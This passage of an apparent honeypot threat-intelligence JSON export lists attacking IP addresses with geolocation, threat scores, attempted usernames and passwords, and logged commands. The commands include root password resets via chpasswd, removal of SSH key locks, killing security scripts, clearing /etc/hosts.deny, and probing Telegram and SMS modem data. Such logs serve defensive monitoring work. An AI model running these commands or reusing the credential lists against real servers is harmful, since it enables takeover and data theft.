        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:8VjudLajmumk\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 38719,
      "as_org": "Dreamscape Networks Limited",
      "threat_score": 31.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 216,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T22:22:36.766000+00:00",
        "last_seen_30d": "2026-04-26T22:47:11.801000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 48
      }
    },
    "103.139.192.188": {
      "attack_count": 168,
      "first_seen": "2026-04-02T14:40:50.000Z",
      "last_seen": "2026-04-02T16:13:28.499Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "369741",
        "Aa000",
        "Admin#123",
        "Cde1234",
        "July2024",
        "LL123456",
        "Nn1234",
        "Pa$$word1",
        "Password#123",
        "QQQQ",
        "QwertyQwerty12",
        "RootRoot1234",
        "Winter2026",
        "defg123456",
        "password666",
        "password@2024",
        "qwe00123",
        "qwertyadmin123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:gkx7lFOhdaeX\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T14:40:50+00:00",
        "last_seen_30d": "2026-04-02T16:14:32.449000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "154.26.159.2": {
      "attack_count": 148,
      "first_seen": "2026-04-21T19:35:24.409Z",
      "last_seen": "2026-04-21T20:02:47.739Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "bi",
        "ubuntu",
        "345gs5662d34",
        "bob",
        "borg",
        "cfguser",
        "cloud-user",
        "ftpuser",
        "minecraft",
        "oracle",
        "paula",
        "postgres",
        "proxyuser"
      ],
      "passwords_attempted": [
        "11",
        "1111",
        "12345678!",
        "1234qwerasdf",
        "123qweASDZXC",
        "1qaz2wsx@",
        "28092026",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa147258.",
        "Dd123456789",
        "Oracle09",
        "Password1234",
        "Qq.123456",
        "a123456789!",
        "abc123de",
        "abcd123456789",
        "bi",
        "bob",
        "borg"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 141995,
      "as_org": "Contabo Asia Private Limited",
      "threat_score": 25.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 209,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T19:35:24.409000+00:00",
        "last_seen_30d": "2026-04-21T20:03:55.276000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 148,
        "Suricata": 61
      }
    },
    "34.76.225.20": {
      "attack_count": 144,
      "first_seen": "2026-04-26T04:14:14.302Z",
      "last_seen": "2026-04-26T05:30:07.377Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Host: 172.105.186.117:23",
        "Cseq: 8285",
        "Cseq: 9285"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 31.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 226,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T04:14:14.302000+00:00",
        "last_seen_30d": "2026-04-26T05:31:16.336000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 82
      }
    },
    "77.90.185.17": {
      "attack_count": 141,
      "first_seen": "2026-04-01T01:55:38.099Z",
      "last_seen": "2026-04-05T23:50:59.786Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "Admin123",
        "88888888"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T01:55:38.099000+00:00",
        "last_seen_30d": "2026-04-05T23:52:06.451000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 141,
        "Suricata": 81
      }
    },
    "207.180.229.239": {
      "attack_count": 134,
      "first_seen": "2026-04-26T06:07:51.113Z",
      "last_seen": "2026-04-26T07:20:24.514Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "super",
        "345gs5662d34",
        "admin",
        "bot",
        "mysql",
        "n8n",
        "runner",
        "seekcy",
        "test",
        "test3",
        "ubuntu",
        "vpn"
      ],
      "passwords_attempted": [
        "123123",
        "3245gs5662d34",
        "345gs5662d34",
        "741852",
        "Admin2026!@#",
        "Bot2026",
        "Joysuch@Locate2020",
        "asdfgh",
        "centreon",
        "n8n4",
        "qwerty123",
        "super",
        "test",
        "test123123",
        "vpn0"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"super\\nIZBEa3JPAtqh\\nIZBEa3JPAtqh\\n\"|passwd",
        "echo -e \"super\\nIZBEa3JPAtqh\\nIZBEa3JPAtqh\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 30.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T06:07:51.113000+00:00",
        "last_seen_30d": "2026-04-26T07:24:46.325000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 134,
        "Suricata": 52
      }
    },
    "103.13.138.22": {
      "attack_count": 100,
      "first_seen": "2026-04-04T08:10:56.693Z",
      "last_seen": "2026-04-06T13:10:40.240Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150215,
      "as_org": "PT Era Bangun Indonesia",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 152,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T08:10:56.693000+00:00",
        "last_seen_30d": "2026-04-06T13:11:44.711000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 52
      }
    },
    "180.76.243.197": {
      "attack_count": 80,
      "first_seen": "2026-04-01T00:57:35.402Z",
      "last_seen": "2026-04-01T02:07:13.580Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234QWER",
        "1346798520",
        "1qaz2wsx_",
        "Aa123456789*",
        "DRAGON",
        "aleks",
        "kevin1",
        "lb123456.",
        "mao123",
        "monster123",
        "sebas123",
        "tq123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 128,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T00:57:35.402000+00:00",
        "last_seen_30d": "2026-04-01T02:17:16.745000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 48
      }
    },
    "58.226.230.112": {
      "attack_count": 69,
      "first_seen": "2026-04-11T17:16:00.534Z",
      "last_seen": "2026-04-23T06:54:21.382Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root",
        "12345"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Buk-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 32.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.9,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T17:16:00.534000+00:00",
        "last_seen_30d": "2026-04-23T06:55:30.811000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 69,
        "Suricata": 8
      }
    },
    "144.48.130.71": {
      "attack_count": 48,
      "first_seen": "2026-04-27T02:31:48.789Z",
      "last_seen": "2026-04-27T02:37:00.275Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T02:31:48.789000+00:00",
        "last_seen_30d": "2026-04-27T02:38:02.997000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "182.116.114.15": {
      "attack_count": 44,
      "first_seen": "2026-04-02T18:07:03.213Z",
      "last_seen": "2026-04-02T18:11:48.700Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T18:07:03.213000+00:00",
        "last_seen_30d": "2026-04-02T18:12:49.091000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "140.245.59.168": {
      "attack_count": 36,
      "first_seen": "2026-04-02T01:37:55.345Z",
      "last_seen": "2026-04-02T01:38:42.681Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T01:37:55.345000+00:00",
        "last_seen_30d": "2026-04-02T01:39:50.232000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 4
      }
    },
    "165.232.114.242": {
      "attack_count": 34,
      "first_seen": "2026-04-27T07:53:55.379Z",
      "last_seen": "2026-04-30T10:13:00.756Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "a",
        "nil",
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "",
        "a",
        "admin",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 40.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.9,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-27T07:53:55.379000+00:00",
        "last_seen_30d": "2026-04-30T10:14:09.024000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 23,
        "Honeytrap": 4
      }
    },
    "213.112.126.21": {
      "attack_count": 34,
      "first_seen": "2026-04-06T22:15:51.936Z",
      "last_seen": "2026-04-06T22:16:50.238Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 8434,
      "as_org": "Telenor Sverige AB",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T22:15:51.936000+00:00",
        "last_seen_30d": "2026-04-06T22:17:51.509000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 4
      }
    },
    "184.105.139.69": {
      "attack_count": 28,
      "first_seen": "2026-04-07T06:23:17.094Z",
      "last_seen": "2026-04-28T02:18:03.861Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "Accept-Encoding: gzip",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.7103.48 Safari/537.36",
        "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/92.0.4515.159 Safari/537.36"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23",
        ""
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 377,
        "days_active_30d": 30,
        "ports_targeted_30d": 77,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T12:44:48+00:00",
        "last_seen_30d": "2026-04-30T12:27:37.765000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 221,
        "Honeytrap": 110,
        "Cowrie": 28,
        "Ciscoasa": 9,
        "CitrixHoneypot": 3,
        "Tanner": 3,
        "Honeyaml": 2,
        "Dionaea": 1
      }
    },
    "45.153.34.117": {
      "attack_count": 23,
      "first_seen": "2026-04-11T15:08:01.491Z",
      "last_seen": "2026-04-18T13:43:32.775Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "support",
        "ubuntu"
      ],
      "passwords_attempted": [
        "admin",
        "password",
        "support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 47.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.2,
        "persistence": 15.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 266,
        "days_active_30d": 19,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T00:35:18+00:00",
        "last_seen_30d": "2026-04-19T20:11:46.619000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 151,
        "Honeytrap": 92,
        "Cowrie": 23
      }
    },
    "86.88.167.214": {
      "attack_count": 22,
      "first_seen": "2026-04-26T21:14:54.835Z",
      "last_seen": "2026-04-26T21:17:01.860Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "a",
        "admin",
        "nil",
        "root"
      ],
      "passwords_attempted": [
        "",
        "a",
        "admin",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Hoofddorp",
      "asn": 1136,
      "as_org": "KPN B.V.",
      "threat_score": 30.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-26T21:14:54.835000+00:00",
        "last_seen_30d": "2026-04-26T21:27:04.278000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 12,
        "Honeytrap": 2
      }
    },
    "77.110.107.31": {
      "attack_count": 21,
      "first_seen": "2026-04-21T20:42:01.650Z",
      "last_seen": "2026-04-21T20:45:16.889Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "linux",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T20:42:01.650000+00:00",
        "last_seen_30d": "2026-04-21T20:46:22.238000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 13
      }
    },
    "103.160.37.104": {
      "attack_count": 18,
      "first_seen": "2026-04-10T15:21:18.392Z",
      "last_seen": "2026-04-10T23:15:22.704Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "2026@Kelltech",
        "Kelltech2025",
        "kelltech2025#"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 141584,
      "as_org": "PT Jetorbit Teknologi Indonesia",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T15:21:18.392000+00:00",
